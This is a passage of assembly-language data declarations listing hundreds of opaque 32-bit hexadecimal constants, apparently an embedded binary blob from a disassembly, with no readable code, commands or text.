25161510h, 11C8C561h dd 51C84B34h, 0E31100C5h, 0AFD8A8DDh, 0DC52E8A9h, 3918CCEEh dd 1760C929h, 25E526C9h, 678A6A48h, 0AE296CA0h, 8DEF6EB5h dd 99D061FDh, 6D40D2FDh, 10BD2991h, 97C1DCDAh, 9602461Ah dd 165719C9h, 0D47CBC15h, 147D7A01h, 5B882BAEh, 9D38603Eh dd 0BB8023F9h, 0F8080BAAh, 6D549666h, 7F55BF00h, 0E40F3144h dd 0CABB0553h, 0EE159DFAh, 0B796EC82h, 95208284h, 61D75FABh dd 0F22F0CC3h, 2684B8A6h, 2D7EA7BDh, 3D5618ABh, 7B4012C4h dd 596E0BB0h, 32FE5A00h, 0BB443D2Dh, 8C4A05E6h, 0AB7D9062h dd 7ED537DAh, 7ECE7DC0h, 0CD95B488h, 601B645Bh, 4FC7465h dd 7C7E5AD9h, 0D210BC58h, 0B9D671AAh, 5E23E2Fh, 0A299E6D3h dd 19A682B9h, 7635571Bh, 0DF891711h, 80071E00h, 8B976FE7h dd 1F8A1830h, 2431733Ah, 3BEE5E51h, 92A08DAh, 60B95B12h dd 0D46BD3h, 89EF6937h, 25ED5B64h, 7EF9B516h, 41CB3B00h dd 245D3874h, 187FB6Eh, 0B5BD89BEh, 0C683A513h, 0DC319C54h dd 0C10BD902h, 5DD69345h, 0D17980D3h, 0BF3F9326h, 495A368Bh dd 9EAD16EEh, 4676F361h, 2595F36Bh, 2CA2C5C5h, 0B1CA89D7h dd 0D7A00A79h, 541AB925h, 152D71A9h, 0AD5F604h, 1F44960Bh dd 0B0F1EB04h, 0D2EFE761h, 2C59538Bh, 0C1A0Eh, 74CD759Eh dd 5C390004h, 0BBAE246Eh, 7225BC90h, 52F3C55Bh, 0AD4545D5h dd 5F9D9710h, 18990502h, 5C511DFCh, 0D0716BF7h, 5DF2C807h dd 0F0661F70h, 0F18100D7h, 3B4C0ACEh, 567CB279h, 8EA0BB04h dd 0BCBD5F5Bh, 531C8384h, 55002DB2h, 0E0B65CE1h, 0E400738Eh dd 0B549E927h, 0B4F5F07h, 0F9D7782Dh, 5B4BB7D0h, 272307CCh dd 7BC199BDh, 0C26DD929h, 3871EC5Ch, 6A72B311h, 19B24FE6h dd 88EBA3B0h, 0E96E9B00h, 4D950192h, 9909716h, 81A05B53h dd 3D97B977h, 831B91E9h, 9877914Fh, 4BB759D5h, 0C778206Fh dd 9B1CF7A6h, 0FD0041DFh, 2CD84F64h, 9BE0516Dh, 975BE9F0h dd 8D89DF00h, 5BE1A4Dh, 0A12069A8h, 0BF660929h, 7F71033Fh dd 588EBB81h, 0DF1021EBh, 82520F50h, 0CB305EE3h, 204E74h dd 0F8DB9A7Ch, 0B372F737h, 0E26B0100h, 0DD65DC54h, 5F6F38CAh dd 503790AFh, 11DF2B00h, 52C7F5h, 0B86D94D0h, 2A59F381h dd 5608D434h, 0C8CBE687h, 9EC19DB5h, 1BB4704h, 8B1CCBE4h dd 54A3DDE6h, 0F1A0F456h, 775075E8h, 8BEEEAF7h, 9584DE4Bh dd 96D8BC0Ah, 9715223Ch, 6CBBC310h, 141FCE00h, 0D531980h dd 26805A8h, 0ABEAF4BAh, 0E9FD0F57h, 67059CB8h, 14697A36h dd 0F5BB93BBh, 44C04C4Ah, 0F16C2F24h, 87BC6E6Dh, 7C757700h dd 0B501C199h, 222A4B31h, 0D3570462h, 0C3197123h, 0DD2F2084h dd 9375249Ch, 16FC0242h, 0DC765AF4h, 713FECAh, 0B86674ABh dd 0AF3D8032h, 0E5A0A04h, 85849E81h, 0D1FF9782h, 1A9375Fh dd 8FECE0E4h, 4DEC8909h, 0C5D57129h, 577BEE93h, 787B4500h dd 90EBA165h, 0C3A44C4Ah, 26A2DF7h, 17002DD9h, 0D00BC22Ch dd 3B39837h, 0F2AE769h, 0FCB25236h, 0BF63C85Dh, 759D7CCDh dd 2F150B31h, 0A3DE28A6h, 0B1E78140h, 70072D1Eh, 927C554h dd 11B4B784h, 0BD258415h, 823191F0h, 20E46E7Fh, 0E92514B9h dd 0C2D0711Ch, 0FC06A3E7h, 4A9259Ah, 9CBEAA73h, 0CCA55090h dd 0BA51BD85h, 6AC8899Ah, 0DC7156C6h, 86001B46h, 78802DC7h dd 234A3C30h, 0C51063E7h, 0BC9C9126h, 4C207D1Ch, 0B2130DF7h dd 642E051Dh, 0D5A4815Ch, 0A4F73B1Bh, 0A0D952A0h, 0D5972309h dd 4B1CD0F1h, 22868A2Eh, 0AF13B712h, 0DD92A5E8h, 3116410Ch dd 5AD594A3h, 6E73B147h, 0AA9156DCh, 7305D588h, 0C8FB7780h dd 2471E409h, 0B2AE1438h, 70D4389Ah, 0BBFC888h, 6915303Eh dd 82C96B56h, 5716F963h, 4C126B13h, 0C8BA1FA1h, 0F922B590h dd 0B0C84E22h, 3713728Dh, 0E5B0D18Bh, 0BD2BA8E9h, 27F19F39h dd 55136909h, 0C0CC0EECh, 9BFB13Dh, 19C58901h, 311C6470h dd 71E50995h, 45F42F54h, 54B81B12h, 893724CAh, 545C0BA5h dd 70DD64CBh, 372300E7h, 613878B8h, 0A890B7DFh, 0FE07DE00h dd 6A7AF155h, 0F35C959Bh, 29C0B04Ah, 9D2A519Dh, 8BC3B151h dd 89A5DAF9h, 12A5DE1Dh, 416DE27Dh, 31F28C7Fh, 0E2BD1909h dd 3571B52Eh, 0DD1A4B42h, 2428CFBDh, 529C8402h, 0FFDC5C67h dd 0FE49366Ch, 0CB800476h, 0A3B95BF7h, 97B9DE87h, 0AFD40907h dd 95DF2DDEh, 8B95FE58h, 7CB7F79Bh, 0EFAC0F12h, 67FBFC25h dd 2D61A170h, 81CDC02Bh, 0A7B44EC0h, 0D95702A6h, 0FCD2B973h dd 25A9E65Dh, 0AF739DB3h, 2A181951h, 73342B04h, 9B8C72AAh dd 12BC7F0Eh, 0E62E56EFh, 0D39AD289h, 37128B9Fh, 8F261940h dd 53880D2Fh, 0A621D84Dh, 95CFB905h, 62EE05B0h, 688B8E52h dd 4D619100h, 0C7911B5Bh, 87EA0980h, 73D178h, 0D38AF631h dd 779B0FC5h, 89C0A93Ah, 71CBC26Ch, 9797A8A3h, 5C2F305Ch dd 16A65D48h, 0DF972FE2h, 6952FA8Bh, 1FAD5B4Bh, 281756B8h dd 18047839h, 89B81B89h, 3D7D9DA2h, 0A16D89D9h, 2869DB82h dd 23659090h, 0A57BD3BDh, 8EDC9754h, 0F8AA2C8Bh, 4F0C113Ch dd 68009AA2h, 45F9856Ch, 0BF1EC71Bh, 4854705h, 0CBBDE1FFh dd 0CA003CB8h, 179D7BC8h, 4ABE788Eh, 0F30BAE9h, 9715C5BDh dd 97459C1Ch, 4016E2Eh, 0D6573D7Eh, 1FB9DFC1h, 12B0CE6Ah dd 7AEF0480h, 1134019Ch, 0A21E157Ch, 0B1650760h, 95E0200Dh dd 0DAEBEC51h, 0E132C42Bh, 0DC600911h, 0E01DCC7h, 1D1870E3h dd 3738F515h, 0B7801280h, 1700CC5Ch, 0D8CD1107h, 13E4F9Ah dd 24B89327h, 2EA1F0C0h, 17269FC8h, 0ACA07Ch, 0B9962BA7h dd 4C129FDFh, 0ECE15FBEh, 1DF511Ah, 0F642E7D1h, 0E65CC2E5h dd 1F0DB72Fh, 0A8A4D20Ah, 0F28D804Bh, 1C940550h, 52B3BE40h dd 24D1E45Fh, 6018E487h, 25469EF3h, 995B56F5h, 184B5A5h dd 0EF888F85h, 0ED322EFEh, 4B705E29h, 57061255h, 8B795DCAh dd 9068D601h, 866AF5A3h, 84B58441h, 0C21F1CF5h, 69725D9Eh dd 61A60157h, 73DE6D5Eh, 0EC31718Fh, 37000CBFh, 0F6D930FBh dd 9F8501E2h, 0AA59A3AAh, 0D6F5BED8h, 0F1001B46h, 75D933Ah dd 4D51F577h, 25628B80h, 0DED95631h, 38071946h, 30F9BE88h dd 8850FA9h, 611FD6h, 76887FB7h, 0E9092F39h, 811E20B3h dd 2FF531D7h, 285E752Eh dd 4BD81ACCh, 9F948534h, 0E3B5801Dh, 26A29061h, 0C98EFC14h dd 0F2DB0EF7h, 3446BCE7h, 87CDEBB5h, 0EADA162Bh, 38003F7Bh dd 0F5A4FA2Ah, 0B21634DCh, 2682F709h, 0C7890405h, 0AEDD8576h dd 6A5A418Eh, 0C6F700CDh, 6A9772F3h, 16077736h, 538F0F83h dd 0AD60BB63h, 123EF381h, 0BC0E2E98h, 90D18E4Bh, 0B2CE5038h dd 1D690171h, 5F8249BCh, 75E1C8F4h, 125B5E59h, 2ADEB180h dd 8DC0C7DEh, 6803B76Bh, 4B30F302h, 5CD98BCDh, 0D30C0ED3h dd 0B59E322Ch, 0D39D164Bh, 2A91216Ah, 0ADDDF8DFh, 0D011400Eh dd 0DD72CB1Dh, 4B49D684h, 0FA81775Fh, 0D350C2AEh, 6480FE98h dd 0C0F25BF7h, 10DEDC17h, 0B990456h, 0A8129301h, 0D4125F04h dd 1EACF5B2h, 0D2611026h, 0F14B05DEh, 0C1DC6310h, 8BC2E8CBh dd 0D79822FEh, 8B256F1Ch, 49D573FBh, 4E38FFFCh, 6EAA3A64h dd 27200105h, 406FC1D5h, 12787330h, 0EE820F0Bh, 1CEB9Ch dd 0EC53A249h, 27B00790h, 0F1A7E502h, 5E597134h, 5F60DF09h dd 57AF828h, 0ACF2BFDBh, 0AE1CBF7Dh, 0D3B80F52h, 2A0466E1h dd 6A8F2D9Eh, 0CD9FE7A5h, 0BA9DE078h, 0FD9CE500h, 5E0AD0E8h dd 38FE2FA0h, 5916E50Ah, 80838525h, 0DDF1AFEBh, 0C0A4DE6Bh dd 0BBBD305Fh, 869F04D9h, 0AB088D0Fh, 0F8078D8h, 896117E3h dd 9DD699C9h, 61AED945h, 3BF8BF30h, 58B31012h, 6FFA603Eh dd 0E3D35501h, 0E6612530h, 0DC19D27h, 0CCFF0433h, 2100A32Dh dd 71D7206Fh, 7AA60F1Ah, 332A018Fh, 852DCAEBh, 0FC64450h dd 2FC08718h, 19BFF7FAh, 91CD4000h, 28B5B065h, 1AC0252Eh dd 0BD009444h, 340C6E14h, 7C6862h, 0C4DA0602h, 490B4118h dd 5F245B71h, 4709EF96h, 0E2A156ADh, 0EE5C0329h, 8454E3E9h dd 80E970AEh, 1A979CE7h, 6CD5D6C0h, 174AC5FEh, 0BF12B9E7h dd 318C0BB0h, 0ADA7B575h, 0ED04626Ch, 0F8C09650h, 0E94BA0B8h dd 9875B8D3h, 2C1525F9h, 1751D073h, 0E0F01F18h, 223BD948h dd 0C120BC0Ch, 72AF59Dh, 0DB2586C5h, 3B0020E2h, 1D4FBDBh dd 0DC091F06h, 7176AB46h, 255BA8D2h, 0E5C0B29h, 51237B5Ah dd 20C23BDFh, 0ECE7D711h, 8FFBE9h, 294D2BC9h, 8C5F478Dh dd 0ED45CFB8h, 2F2D6168h, 25C2B59h, 0BB6F4236h, 18FAB6A3h dd 2653BD9Fh, 85098977h, 50354157h, 2B72202Bh, 7800761Dh dd 864B7156h, 16D5A1E7h, 0BD681C5Bh, 58E11E5h, 4A6BF07h dd 89DBE9E8h, 30181B59h, 0DBCC107h, 0B370BA8Bh, 148AEF81h dd 0AE5A502Eh, 0BD165D12h, 0BEA6D31Eh, 10DD5BE0h, 3DB52909h dd 0C532791Bh, 80DC9F4Eh, 0D1411E52h, 32A100BAh, 0FFCC626h dd 44841580h, 0E5000710h, 39A9447h, 3239685h, 3C200EEDh dd 0C0F5D533h, 37C729C0h, 0FC2C29B5h, 21BF09BAh, 0C2602D15h dd 94E9626h, 0E2B35D32h, 0D395447Ah, 18187966h, 0DB790BB2h dd 865C6B91h, 161546D6h, 9AB45C1h, 3D7914FBh, 7BAE6CC5h dd 748F2D74h, 56AD16F5h, 0AC77AD06h, 8F2D8C14h, 40104FC6h dd 716068C6h, 586CAD04h, 71BC8AB3h, 78C2BBB0h, 0E91CB809h dd 0E301D577h, 2BC18BF5h, 0A9E4D1A6h, 0FC8A00BCh, 319C3717h dd 0C4014BBDh, 0FAE6AAFDh, 0AA8A75A4h, 7F0FC549h, 4255179Ah dd 0A638DFECh, 0AC026505h, 0B9BD4EBBh, 0EF6FD534h, 0A195F640h dd 1537976Ah, 8CBF480h, 0AD78B28h, 0E8B7CC32h, 0B44E0286h dd 69DB064Ch, 9DB32070h, 127A76Eh, 3BE3FA8Dh, 11A59D33h dd 0E2E0B7Bh, 0D15B01D4h, 0B767D38Ch, 19842F3Dh, 0F565FC89h dd 94ADC315h, 0D09D43B8h, 13ED20E8h, 0B3403596h, 0EA3414h dd 3D6E6704h, 80EF2AC7h, 5EFE8B16h, 0D2D116FAh, 4D576ADDh dd 0D348E007h, 70EE8C03h, 0CFA4CA27h, 0ABEB4585h, 22D0039Ah dd 0CF817BC9h, 6A13F3EFh, 0DD46FCB7h, 0E064C0B0h, 9FBD6C12h dd 4A3A5214h, 0D1254FE9h, 1440A054h, 4A1B767Eh, 80B8B81Eh dd 0EAB36D11h, 32CC1229h, 0A9BC1623h, 0E55B2516h, 285E12A6h dd 5A00D7C0h, 60DDEB4Ch, 76A875Ch, 16CB8102h, 907C730Dh dd 4B3E4h, 5061F08Bh, 90341BFh, 53907320h, 514E2558h, 0E8ED4DF9h dd 5705E5D7h, 0DB19B88Eh, 0F9CDB101h, 843E4F41h, 12DA561Ch dd 8471E363h, 0F813B458h, 3EC7093Ch, 0C0455469h, 43E36AD0h dd 56616D25h, 80C62519h, 7AB50125h, 605027FEh, 0D6061855h dd 8790BD61h, 0E7952BC5h, 0D698241Bh, 0D98B4512h, 8A12A8F6h dd 0ECCCABFEh, 0D85060DFh, 5B75BDD7h, 1F046A58h, 0BBEBFDB5h dd 0E62F63D9h, 4EE928B6h, 84F29907h, 23E0D2D9h, 16EB4E7h dd 0A50BDDECh, 0F7FD4EFBh, 775E61C2h, 0C4572EC4h, 0B0A64CA3h dd 0E626DA10h, 0E5087870h, 71E40B12h, 257A0B08h, 800C5BC9h dd 70B86045h, 9520ECB3h, 0C6303B10h, 8F475602h, 6661013Ah dd 0E1DE9546h, 2F7A2480h, 4F1F130Ah, 5E48B803h, 9582E3ACh dd 0D357059Dh, 0B31027E8h, 75002E77h, 7A31ADDh, 4A90AEDh dd 0D4D153FDh, 3D9E8C97h, 5031A01h, 0FCB935A5h, 1201C960h dd 0F6187185h, 0F38132A6h, 7A75EF5h, 0E8318529h, 0D2CF8140h dd 272512B1h, 0D3FB608Bh, 29006676h, 0B944CB10h, 1F4F0CDh dd 0F3A73728h, 2E6F4E1Dh, 7D1C2122h, 5B7CD0C4h, 7288675Eh dd 48AEB635h, 6BBB0161h, 2F7BCB61h, 2666BC0Fh, 970E5CB2h dd 89254570h, 45BAE60Ah, 45B5F00Bh, 88333144h, 0FF6E8D8Bh dd 79DEC903h, 3D221197h, 9ED0FBFh, 16A5CA08h, 9589FE04h dd 0D73967F6h, 65ADB51Ah, 7C444ED5h, 0B4C4E04h, 579AF91Ah dd 0D06B695Ch, 670508EEh, 7BA782B9h, 9D75708Dh, 70E12112h dd 9B2A6CF1h, 51EB80B3h, 0AB71D72h, 3EC5E0D3h, 0A29A00FCh dd 2BFC104Fh, 3ABBC002h, 5E2A0EACh, 0D3E44B32h, 2FB0484Ah dd 0C0AE005Bh, 0EBC5E79Ah, 0AB01F1D4h, 91A1CBDBh, 0A7428C71h dd 2F6256CDh, 42D24756h, 9F65353Bh, 711380D9h, 6DDC97Eh dd 12ACE349h, 0AC912839h, 61003221h, 0C2FD9D23h, 0BFC43057h dd 0C1241038h, 79EDA536h, 0E82C58A8h, 268BCB65h, 0B735557Fh dd 19C4B0ADh, 5EB3B088h, 845EEC8Dh, 41BC070Dh, 204E68BDh dd 1A10B723h, 820141D1h, 0CE6814A7h, 28D5E7C3h, 0CC2FE27Ah dd 2701339Ah, 8A89D195h, 56169A5Fh, 0A1BB40F3h, 4658E18Fh dd 9B0C22F1h, 51C3817Ch, 2F66F171h, 4DF60874h, 758C93A0h dd 7862034Ch, 40BBEBA8h, 55D622Fh, 64AED58Ch, 0A0BAE67Eh dd 92B3AD9h, 641B84A4h, 0E740E3D4h, 1DC679h, 8D8AF0A3h dd 0CD65CCAAh, 0CBC9E401h, 90E1C10Fh, 7F0D282Fh, 0EF9044Ah dd 92013CE9h, 6D8808E2h, 22EB8187h, 5C623132h, 142451E1h dd 9A59E10Ah, 6EEE6092h, 0B7A712D3h, 3766B0E1h, 0C6DF4FF2h dd 915C9540h, 0D3C214F4h, 2A0096DDh, 927ED12h, 324A55B5h dd 7A1C7EE3h, 31DE2F01h, 0E3FD00DEh, 0F8E84A9h, 1B71B9CAh dd 1348D89Dh, 85699529h, 546BAA95h, 4C031723h, 0B2BE10B6h dd 0EF25F89h, 0C28D5F4Bh, 940B9B6Bh, 0B7500987h, 771F421Ch dd 0EB257137h, 0F0AB8C1Bh, 7E95135Ch, 0DC9C7C3Fh, 52CAEEC0h dd 6D4E48D5h, 0AA229912h, 0B04E5ECEh, 0FC758AD3h, 0FA144BD9h dd 56D6C1F2h, 9000C173h, 0C48CD458h, 73B7B5Ah, 0BC373A75h dd 0D134625Eh, 0B0AE5A61h, 0B5585A10h, 1056DAA0h, 0C9BE0365h dd 0B1C8014Bh, 0F16F2E2Fh, 39011D23h, 8BB6A915h, 0E0F682D2h dd 0B938E01Bh, 2D6D486Ah, 9661CF18h, 0A038E9FEh, 48B95E01h dd 989710BCh, 2DBD0B03h, 0FB732B65h, 4EE38085h, 9DF860AEh dd 2D85054Dh dd 0D598943h, 0DEC32892h, 0AE829584h, 4F78DA73h, 0E0DB0180h dd 9B68D6BBh, 96AA2244h, 78A03BE6h, 361652E5h, 0ECF80EBFh dd 15BD8BC1h, 63E00733h, 97503527h, 56DCBD09h, 545CA609h dd 0BB82BC26h, 310F3872h, 0DE49FADEh, 0D39B60B4h, 1301B3C4h dd 2BE4316h, 826B5F53h, 895D963Bh, 0D96E5548h, 187058C0h dd 27F4D868h, 89402355h, 4A77F727h, 94B8074h, 0DEFFB085h dd 5917821Fh, 3CB65C41h, 0AB50A193h, 6CBF4260h, 7D905D78h dd 0D25CDBCh, 2A6441F2h, 0B812A27Bh, 954E0263h, 1949E529h dd 0BDE4E877h, 98115FB1h, 0C3E2AA5Eh, 133EA300h, 643B29F3h dd 7C4704BDh, 0E0177273h, 615E5FB2h, 3A015D6Eh, 7C54424Dh dd 11230CEh, 0B318516h, 3FB4C9B9h, 43260133h, 0A0D40C8Eh dd 0F1DCE44h, 9CBF8393h, 9C000429h, 8EBD55D2h, 48318A6h dd 0D8B1AAF0h, 0A202B8EEh, 0BF268027h, 0D23AE9DBh, 0B29BBE0Eh dd 0FA137783h, 0EBF5B894h, 0E01C1593h, 5F1C4A01h, 2B168A0Fh dd 0F00FF0E7h, 6BE0432Dh, 0DAE26930h, 0B6871800h, 0E073CAE9h dd 0EE1497A5h, 1BF2BE43h, 2C8AA30h, 4DE4415Bh, 0B177AE3Ch dd 14F0D093h, 52B7F638h, 0F4D3E9D9h, 2217BF01h, 67AAAFF0h dd 0B4EBF206h, 0CFAFB75Ch, 5535408Ah, 1D7E61C6h, 0DA3049Fh dd 0A5DF290Eh, 80579656h, 651C4647h, 6A50E780h, 434B27D5h dd 4538F58Dh, 0C82D1F80h, 8D04BE34h, 0FA475B96h, 0B2C098EAh dd 506861B7h, 648B08AFh, 0E96E155Dh, 39002459h, 4111934Eh dd 3D8E04C2h, 0AACA99A7h, 1823E66Bh, 6B61CC01h, 242F3982h dd 3BA6AB11h, 0D2DD27E7h, 7055A3BFh, 29D4984Fh, 49DC0CB9h dd 0D3818CB0h, 9A9DA32Eh, 5A3EC625h, 89E9BD51h, 717109D8h dd 9CF3273Ch, 264EFC70h, 9ED59B8h, 765E3061h, 0D57C51C0h dd 83CC1FC8h, 0DB528584h, 9C01EAB0h, 0C17082C0h, 23736B2Fh dd 21B1214h, 520B613Ah, 0E04E9077h, 0B3AB00A9h, 3C326768h dd 0FB1206A5h, 86F15F11h, 40B9C579h, 4D16F56Bh, 11A4E604h dd 89BCBACCh, 89829B5Bh, 0A244F50Bh, 0E1B58909h, 21C67D1Ch dd 0C8FA887Fh, 35F77000h, 0D607C693h, 38180BA5h, 6D5E8201h dd 19C1BBC1h, 2529C220h, 82EE26F0h, 0E0DD580h, 91DCB795h dd 0FB098B14h, 181B594Bh, 3EDD01B1h, 12DE8E25h, 59843B39h dd 859D0081h, 5F2D7628h, 99293FAh, 0C7CCED9Dh, 6032B6EEh dd 75ACDF5Ah, 0A15802AAh, 0D7B43060h, 8BD1C843h, 13637CFEh dd 0DC7B1429h, 8B75277Dh, 0C525545Ch, 2A631A38h, 8AEDB7FFh dd 0BAD6F83h, 54760F89h, 99175FEFh, 7D50C382h, 0BB853CD1h dd 0BF52C323h, 80E0A6E6h, 560A6BD1h, 0EC49B531h, 0F1BD5B92h dd 0CCF3DBC2h, 9744CEF5h, 0C413DDB5h, 1927E9ECh, 57D25Eh dd 78B68491h, 0A4010A16h, 8D09B005h, 0DC6B0E49h, 2450BB88h dd 949770DDh, 0DD575F3Dh, 8E706E2Ch, 602E08h, 0BA3A0E87h dd 7235747Ch, 33DD794Bh, 0E4B0D436h, 8B13542Fh, 12F98D31h dd 0B06CC627h, 1D3C4A00h, 0C8752B11h, 0A8B712ECh, 0F599BCD2h dd 4F023F6Bh, 21BD23E1h, 0BBE996A1h, 0F0B93AF2h, 3347ECBDh dd 76DBD10h, 4A596150h, 80CCFD0Ah, 0B8B7C3Fh, 0EA9F7DBBh dd 0EF0195C1h, 2FB329EAh, 2709E608h, 0DD25AB78h, 0A563E516h dd 28D640DCh, 1E96BEDh, 0C29E281h, 6B015330h, 4B613388h dd 0F86FD4F5h, 8B1C806Ah, 0CB9C6Bh, 0B54477D0h, 5376A614h dd 9DB26009h, 2DE7FE48h, 55D2955Bh, 9B99A3C6h, 0CCEBB492h dd 0C509832Ah, 746A7FFFh, 5D01F492h, 3A3627ABh, 0B36F9D12h dd 850B0369h, 90161B2Eh, 801FEh, 9AAACB8Eh, 8D4E4BB9h dd 6BEA601h, 59793BA1h, 61500A6Ah, 0C4C905CCh, 803A9E4Ch dd 68088B0Bh, 37941762h, 0E48FC8F3h, 7DFFD300h, 2805707h dd 6E0503E2h, 0FCC26F33h, 6B0F1598h, 0BD1189FAh, 854B1655h dd 0CF20EBBBh, 2CBB11CDh, 9337BDFDh, 15D9825Fh, 88045C29h dd 1D22F931h, 0FF9CDF02h, 575B818Ch, 4B8B0A92h, 0E5ACCE56h dd 0B7828310h, 0E1D15BACh, 7397A925h, 0D643A651h, 66115E00h dd 6084A682h, 908D4A89h, 61C1B5A4h, 0D35BBA97h, 63C5048h dd 0FA35EC0Bh, 4EBCE0A5h, 0D1FF259Eh, 0D07084D3h, 232F09C9h dd 16095F54h, 1AE8E575h, 0B91B337Ah, 0D849F009h, 40FED616h dd 79F64E12h, 140D6702h, 412B9E3Eh, 382602B7h, 0F11F91F0h dd 22499C05h, 0EBB0984h, 3A356056h, 94B6B800h, 4DF8613Bh dd 83BD8817h, 512541ACh, 0D74D9B57h, 0D85989h, 9E7BB38Ch dd 905B6C5Eh, 5B1D0C1h, 0E9D09815h, 2CAF574Ah, 0A790D3F5h dd 0E035ED9Fh, 0D161B2BCh, 0D7C5A62h, 6B230733h, 0FC4AB4FAh dd 4EDE6AAFh, 37FF5C60h, 0EC865A74h, 79BB02FBh, 4A658C71h dd 703FF391h, 76014AD0h, 5D145A4Fh, 0E66A2592h, 4E6E545h dd 114CE80Fh, 0BDE9B3A4h, 91578AC9h, 0EEA90513h, 0CA7FAE4Ah dd 0BE9BF800h, 78F4402Ah, 22EE3400h, 43D85BBh, 0FF6A2F38h dd 0BA027237h, 0F41A752Dh, 0C1AA4579h, 721FAD1Dh, 62B271A9h dd 25F7810Fh, 7B5E8977h, 55F91AE5h, 864A8257h, 11BB2005h dd 0E6E05C83h, 0E0F97025h, 880287E3h, 0A4977DB3h, 42A2D7E5h dd 0AEF85C17h, 0D88B0342h, 885E51BAh, 31D2E6Dh, 55083D89h dd 0D1BF9AE8h, 3EFFCCE4h, 0E0D255ECh, 90BF53AFh, 9C75C7Eh dd 5FA870D3h, 605EB478h, 86D99BACh, 2B61F4A0h, 0F98AC81Fh dd 0EB7D1C0h, 64C9B589h, 5E7CFB29h, 1B019506h, 9785768Dh dd 235ACB46h, 5109BCF3h, 85815EF5h, 6BC30CD2h, 60ABBAD4h dd 604CE388h, 0E5086725h, 0C99504A8h, 62E15F27h, 0C2988F0Fh dd 892536B6h, 45B1E455h, 0D3E83A21h, 7275AC96h, 0B7CADC4Bh dd 12536740h, 0F65BD9B7h, 42860BB0h, 0E0FDCD4Ch, 4626B26Bh dd 1347CD27h, 30CD887h, 5B50097h, 0A68B4967h, 840C52F3h dd 6C578DB9h, 4A73B5F8h, 12035A5h, 0C9BD23D9h, 6CB9010Eh dd 9D298387h, 12570B65h, 0E14647h, 0A726D5FAh, 987F178h dd 0FCE57212h, 258DAF88h, 305DA4BEh, 93C02B4Ch, 7E478FEh dd 0F7BDD40Fh, 425DC0D8h, 17D22BC4h, 8809810Fh, 0F88A0340h dd 0E51E97C3h, 0AF09C098h, 0CD5F738Dh, 100FC0B0h, 0BD260BF1h dd 5E49FC69h, 782EFE13h, 7605D0A4h, 43C14C5Dh, 9D3E07A5h dd 0D506432h, 0ED293040h, 206AE52Bh, 0FA4BBF22h, 0CD7CE7CDh dd 0F2D88A12h, 2594B5C3h, 47BD0284h, 0E43DAB4Ah, 4A4D4320h dd 0BA2F733h, 4C116DBDh, 0E4B9008Fh, 633CF005h, 1D00F768h dd 0DE91846Ah, 2746ADB3h, 295C555Ah, 1446D6h, 336BBFB5h dd 5BFF2782h, 92329BE1h, 81EDCCBBh, 0A813CB04h, 94BC361Dh dd 7D0576A1h, 0B53EE94Fh, 93282EC4h, 60055E65h, 230273FBh dd 96F13907h, 0E6200BF7h, 5C3A598Eh, 0B413D6ABh, 0EDC00460h dd 919210Dh, 1102CE3Fh, 2650FE86h, 4E20B245h, 174D6E60h dd 0F8C8B1D9h, 0C7CC3E2Ch, 899BF980h, 15BE0C18h, 0C3958812h dd 0BD7703A8h, 0BD841459h, 0AEBD12A1h, 28C18A8h, 0EB7C1F66h dd 98CAFCADh, 0F893A85Ch, 19237BABh, 0FB505431h, 8F006723h dd 82E2090h, 0C00F0B5h, 0A226D616h, 7E1E58DAh, 0B6F74ACFh dd 301AB2C9h, 45057D85h, 0D4FF3447h, 2B759405h, 76612DAFh dd 0D04EA006h, 3BF602B0h, 5668EC6Bh, 2BAF0B5Dh, 24404472h dd 0DE0A2404h, 6A09EF17h, 2FC1B69Bh, 2E808E6Fh, 0D9B35BE8h dd 3BA63796h, 25E35900h, 88234311h, 0DD6D01A3h, 4C964442h dd 0FB92C38Bh, 0C9BBF590h dd 792F1171h, 70355B58h, 546067DAh, 0A54E3392h, 1590540h dd 0B529759Dh, 68AD2B35h, 0EB22C6C0h, 0D4E70BDBh, 1597511Eh dd 0B3AA403Eh, 0D812E139h, 1317C9BEh, 0B644F1F5h, 0BC77EFFh dd 4463807Eh, 397800E0h, 0A3C88228h, 0AB5C442Dh, 48DD00DDh dd 0D611EE35h, 56D0623Fh, 0A275C59Dh, 5C021330h, 6B02F436h dd 0D2CD3334h, 400C7E5Ch, 13423245h, 77B41725h, 86213AAh dd 5B132BEDh, 0B71326A3h, 4E22A277h, 0D2C0019Bh, 6A36571Dh dd 0D816AC4h, 2F1E2DBAh, 0FF167C6Ah, 5812BE29h, 0DB4E61F7h dd 0E55D8002h, 29C4C65h, 0BC7D12DAh, 8E7B8929h, 0D08A978h dd 7EC1E2A6h, 42AC6AF8h, 0B4DDA64Bh, 0EB4EE70h, 0A2550289h dd 7DBD3367h, 0F3D590D5h, 82E24EA0h, 6855FC72h, 7ED18B57h dd 1DD17BBh, 31780039h, 2AEBBDBFh, 5DAC644Ah, 962A7858h dd 0B582B2D1h, 156411EDh, 20B54D61h, 0D2AB79F0h, 10B9BDB0h dd 13C46880h, 0FEF73FC1h, 6339A4C9h, 4918BB1Dh, 0E85561EFh dd 27423BD8h, 9D5108DFh, 0DE3DB0B2h, 0FB562D4Dh, 25BBD6h dd 97E92DE6h, 7F4EBC4Bh, 38131E0h, 8AA5F8E7h, 67C99022h dd 3146DDDDh, 6D0DDCF7h, 0D96E3EF7h, 0F884313Dh, 0D838EB80h dd 8299E869h, 0CE1804BFh, 9DFFCF33h, 0BE830595h, 615B7A44h dd 9E06EAAh, 0D6C2A1AAh, 31A53AD9h, 46F64074h, 4BE94D16h dd 5D356C8Ah, 0BDD1E956h, 7774A93Eh, 0D6250225h, 0C203672Ah dd 0A0691859h, 0EC437D44h, 0B3124B3Ch, 0B52904DEh, 8EAE0A19h dd 6A6AF955h, 0D3F10242h, 4DCCE47Ah, 0A6DEE0A1h, 42024068h dd 0EB81E709h, 0FD00C2F1h, 6E1C3D69h, 30685560h, 3B8B00CCh dd 15117FEEh, 810126D1h, 2894D9D7h, 283A5F4Ch, 0BD86CCCCh dd 190F4635h, 462C208Ch, 0BFF6A37Bh, 8A5B6446h, 94C4E1A2h dd 117AAF04h, 0A3C51D25h, 9A4C9A51h, 0B28B0085h, 6EEF3886h dd 0D104EEF5h, 0B565BA9h, 5F0988BBh, 64086DB7h, 0F78B6018h dd 76585866h, 0B2798513h, 55F58908h, 1D44CDEDh, 683A98h dd 0FAC6FCCBh, 0B01AF848h, 88B2D04Bh, 0B570D600h, 8B3C58E8h dd 0A5A04B02h, 57422F62h, 7600CFE6h, 877A4C9Bh, 98FF48h dd 7F94EAE4h, 61AC4BA7h, 994B96E6h, 0E36F4E84h, 5931C26h dd 0AEDAEDDFh, 0FA80E92Ah, 8F6C6AB5h, 1C48905h, 